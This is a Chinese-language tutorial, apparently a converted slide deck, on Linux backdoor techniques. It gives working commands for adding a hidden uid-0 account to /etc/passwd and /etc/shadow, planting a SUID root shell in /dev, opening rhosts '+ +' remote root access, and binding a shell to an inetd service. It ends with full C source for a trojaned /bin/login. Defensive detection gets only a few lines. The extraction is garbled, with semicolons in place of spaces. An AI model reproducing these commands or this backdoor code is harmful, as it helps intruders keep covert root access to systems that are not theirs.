电脑技术学习

Linux系统后门技术及实践

dn001
作者:艾奇伟;
Mail:e4gle@whitecell.org;
Page:http://www.whitecell.org;
Copyright:;Whitecell;Security;Systems;

概述;

后门简介;
常用后门技术;
后门的检测;
实例讲解:login后门;

后门简介;

入侵者完全控制系统后,为方便下次进入而采用的一种技术。;
一般通过修改系统配置文件和安装第三方后门工具来实现。;
具有隐蔽性,能绕开系统日志,不易被系管理员发现等特点。;

常用后门技术;

增加超级用户账号;
破解/嗅探用户密码;
放置SUID;Shell;
rhosts;+;+;
利用系统服务程序;
TCP/UDP/ICMP;Shell;
Crontab定时任务;
共享库文件;
工具包rootkit;
可装载内核模块(LKM);

增加超级用户;

#;echo;"e4gle:x:0:0::/:/bin/sh";>>
/etc/passwd;
#;echo;"e4gle::-1:-1:-1:-1:-1:-1:500";>>
/etc/shadow;
如果系统不允许uid=0的用户远程登录,;
还需要增加一个普通用户账号。;

破解/嗅探用户密码;

获得shadow文件后,用John;the;Ripper;
工具破解薄弱的用户密码。;
安装sniffit等嗅探工具,监听telnet、ftp等;
端口,收集用户密码。;

放置SUID;Shell;

#;cp;/bin/bash;/dev/.rootshell;
#;chmod;u+s;/dev/.rootshell;
普通用户在本机运行/dev/.rootshell,即;
可获得一个root权限的shell。;

rhosts;+;+;

#;echo;"+;+";>;/.rhosts;
#;rsh;-l;root;victim.com;csh;-i;
远程可以得到一个rootshell。;

利用系统服务程序;

修改/etc/inetd.conf,;
daytime;stream;tcp;nowait;/bin/sh;sh;-I;
用trojan程序替换in.telnetd、in.rexecd等;
inted的服务程序;
重定向login程序;

TCP/UDP/ICMP;Shell;

BindShell,大部分是基于TCP/UDP协议;
的网络服务程序,在高端口监听,很容易;
被发现。;
Ping;Backdoor,通过ICMP包激活后门,;
形成一个Shell通道。;
TCP;ACK数据包后门,能够穿越防火;
墙。;

Crontab定时任务;

通过Crontab程序调度已安装的后门程序;
定时运行,一般在深夜时段,是系统管理;
员不在线的时间。;

共享库文件;

在共享库中嵌入后门函数;
使用后门口令激活Shell,获得权限;
能够躲避系统管理员对二进制文件本身的;
校验;

工具包rootkit;

包含一系列系统及后门工具:;
-;清除日志中的登录记录;
-;伪装校验和;
-;替换netstat、ps等网络工具;
-;后门登录程序;
易于安装和使用;

可装载内核模块(LKM);

LKM:Loadable;Kernel;Modules;
动态的加载,不需要重新编译内核。;
截获系统调用,具有隐藏目录、文件、进;
程、网络连接等强大功能。;
自身隐蔽性好,发现难度较大。;
著名的LKM包有adore和knark。;

后门的检测;

以自己的经验,结合特定的工具,手工作;
一些检测。;
使用Tripwire或md5校验来检查系统。;
借助IDS系统,监听到目标机器的可疑网;
络连接。;

实例:login后门;

入侵者先把原始的/bin/login备份,再用一;
段程序替换/bin/login。入侵者telnet登录;
进来的时候,通过环境变量或者终端类型;
传递了正确的后门密码,将直接获得一个;
Shell;如果是普通用户登录,将会重定;
向到原始的login文件,来处理正常的登;
录。;
最简单的login后门ulogin.c源代码如下:;

实例:login后门;

#include;<stdio.h>
#define;PASSWORD;"passWORD";
#define;_PATH_LOGIN;"/sbin/logins";

main;(argc,;argv,;envp);
int;argc
char;**argv,;**envp
{;
char;*display;=;getenv("DISPLAY")
if;(;display;==;NULL;);{;
execve(_PATH_LOGIN,;argv,;envp)
perror(_PATH_LOGIN)
exit(1)
};
if;(!strcmp(display,PASSWORD));{;
system("/bin/csh")
exit(1)
};
execve(_PATH_LOGIN,;argv,;envp)
exit(1)
};

标签: linux